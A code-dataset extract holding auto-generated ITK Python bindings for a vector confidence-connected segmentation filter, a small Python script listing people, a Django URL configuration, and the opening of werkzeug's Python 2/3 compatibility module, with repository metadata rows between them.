__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF43IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF43IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF43IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF43IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF43IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF43IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF43IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43IUC3)
itkVectorConfidenceConnectedImageFilterIVF43IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_swigregister
itkVectorConfidenceConnectedImageFilterIVF43IUC3_swigregister(itkVectorConfidenceConnectedImageFilterIVF43IUC3)
def itkVectorConfidenceConnectedImageFilterIVF43IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF43IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF43IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43IUC3 *":
"""itkVectorConfidenceConnectedImageFilterIVF43IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF43IUS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF43IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF43IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF43IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF43IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF43IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF43IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF43IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF43IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF43IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43IUS3)
itkVectorConfidenceConnectedImageFilterIVF43IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF43IUS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF43IUS3)
def itkVectorConfidenceConnectedImageFilterIVF43IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF43IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF43IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43IUS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF43IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUS3_cast(obj)
def vector_confidence_connected_image_filter(*args, **kwargs):
"""Procedural interface for VectorConfidenceConnectedImageFilter"""
import itk
instance = itk.VectorConfidenceConnectedImageFilter.New(*args, **kwargs)
return instance.__internal_call__()
def vector_confidence_connected_image_filter_init_docstring():
import itk
import itkTemplate
if isinstance(itk.VectorConfidenceConnectedImageFilter, itkTemplate.itkTemplate):
vector_confidence_connected_image_filter.__doc__ = itk.VectorConfidenceConnectedImageFilter.values()[0].__doc__
else:
vector_confidence_connected_image_filter.__doc__ = itk.VectorConfidenceConnectedImageFilter.__doc__
| [
"pinar.turkyilmaz@estudiant.upc.edu"
] | pinar.turkyilmaz@estudiant.upc.edu |
4574c829390dab1c4b2ccbccc3376035ba788e83 | a1b21aa9b4c3b99b9b16fd47686bcc76e6fafd18 | /playground/people.py | b0f3a9910a955ad3632716f3dd4206debc55f55e | [] | no_license | irfan87/python_tutorial | 986c5dae98a5ad928c3820bf0355f544c091caf0 | 71bbf8b8aba2d5a1fafc56b8cb15d471c428a0cf | refs/heads/master | 2020-06-05T00:52:07.619489 | 2019-08-19T02:56:41 | 2019-08-19T02:56:41 | 192,257,432 | 0 | 0 | null | 2019-08-19T02:56:42 | 2019-06-17T01:53:46 | Python | UTF-8 | Python | false | false | 689 | py | # make a list of people dictionary
people = []
person = {
'first_name': 'ahmad irfan',
'last_name': 'mohammad shukri',
'age': 32,
'job': 'web developer'
}
people.append(person)
person = {
'first_name': 'ivy',
'last_name': 'ying',
'age': 21,
'job': 'hair dresser'
}
people.append(person)
person = {
'first_name': 'james',
'last_name': 'edward',
'age': 32,
'job': 'youtube vlogger'
}
people.append(person)
for person in people:
full_name = f"{person['first_name'].title()} {person['last_name'].title()}"
age = f"{person['age']}"
job = f"{person['job'].title()}"
print(f"\nFullname: {full_name}\nAge: {age}\nJob: {job}") | [
"nerve2009@yahoo.com"
] | nerve2009@yahoo.com |
ebdcd52b0fe8663eece448224be9a0ef4e7b595a | 3131fe19ebdd8c032d3bc57517fbf8c99e98308f | /pokemonproj/urls.py | e589903d002e354c0726d25aa3a1219b90965ab6 | [] | no_license | Miguekos/django-pokemon-test | 2707b3ecfc1a7f61831b5f87387f2865ea674d14 | 041054610d48bd18af6a2285e2cade359e2a5f77 | refs/heads/main | 2023-02-10T18:59:38.359283 | 2021-01-10T16:53:03 | 2021-01-10T16:53:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 808 | py | """pokemonproj URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
urlpatterns = [
path('admin/', admin.site.urls),
path('api/', include('pokemonapp.urls')),
]
| [
"vladimirjmp@gmail.com"
] | vladimirjmp@gmail.com |
ad8bc4ccdaeacf53c478abc76660ffecfb59ed1b | 060c163435d72b16da7e251538488f8e117cf969 | /myprojectflask/venv/Lib/site-packages/werkzeug/_compat.py | 5406edf014da8697504400b8a852b42a5d184293 | [] | no_license | ssingh7/Test-Management-Portal | ad6f7edb354968b5869eec5f938bc98b5994ef89 | 2bbe1febf387e37b89f4291dfbc9bac81df2a34e | refs/heads/master | 2020-04-22T20:50:09.702810 | 2019-02-14T08:23:58 | 2019-02-14T08:23:58 | 170,653,573 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,313 | py | # flake8: noqa
# This whole file is full of lint errors
import operator
import sys
import codecs
import functools
import warnings
try:
import builtins
except ImportError:
import __builtin__ as builtins
PY2 = sys.version_info[0] == 2
WIN = sys.platform.startswith('win')
_identity = lambda x: x
if PY2:
unichr = unichr
text_type = unicode
string_types = (str, unicode)
integer_types = (int, long)
iterkeys = lambda d, *args, **kwargs: d.iterkeys(*args, **kwargs)
itervalues = lambda d, *args, **kwargs: d.itervalues(*args, **kwargs)
iteritems = lambda d, *args, **kwargs: d.iteritems(*args, **kwargs)
iterlists = lambda d, *args, **kwargs: d.iterlists(*args, **kwargs)
iterlistvalues = lambda d, *args, **kwargs: d.iterlistvalues(*args, **kwargs)
int_to_byte = chr
iter_bytes = iter
exec('def reraise(tp, value, tb=None):\n raise tp, value, tb')
def fix_tuple_repr(obj):
def __repr__(self):
cls = self.__class__
return '%s(%s)' % (cls.__name__, ', '.join(
'%s=%r' % (field, self[index])
for index, field in enumerate(cls._fields)
))
obj.__repr__ = __repr__
return obj
def implements_iterator(cls):
cls.next = cls.__next__
del cls.__next__
return cls
def implements_to_string(cls):
cls.__unicode__ = cls.__str__
cls.__str__ = lambda x: x.__unicode__().encode('utf-8')
return cls
def native_string_result(func):
def wrapper(*args, **kwargs):
return func(*args, **kwargs).encode('utf-8')
return functools.update_wrapper(wrapper, func)
def implements_bool(cls):
cls.__nonzero__ = cls.__bool__
del cls.__bool__
return cls
from itertools import imap, izip, ifilter
range_type = xrange
from StringIO import StringIO
from cStringIO import StringIO as BytesIO
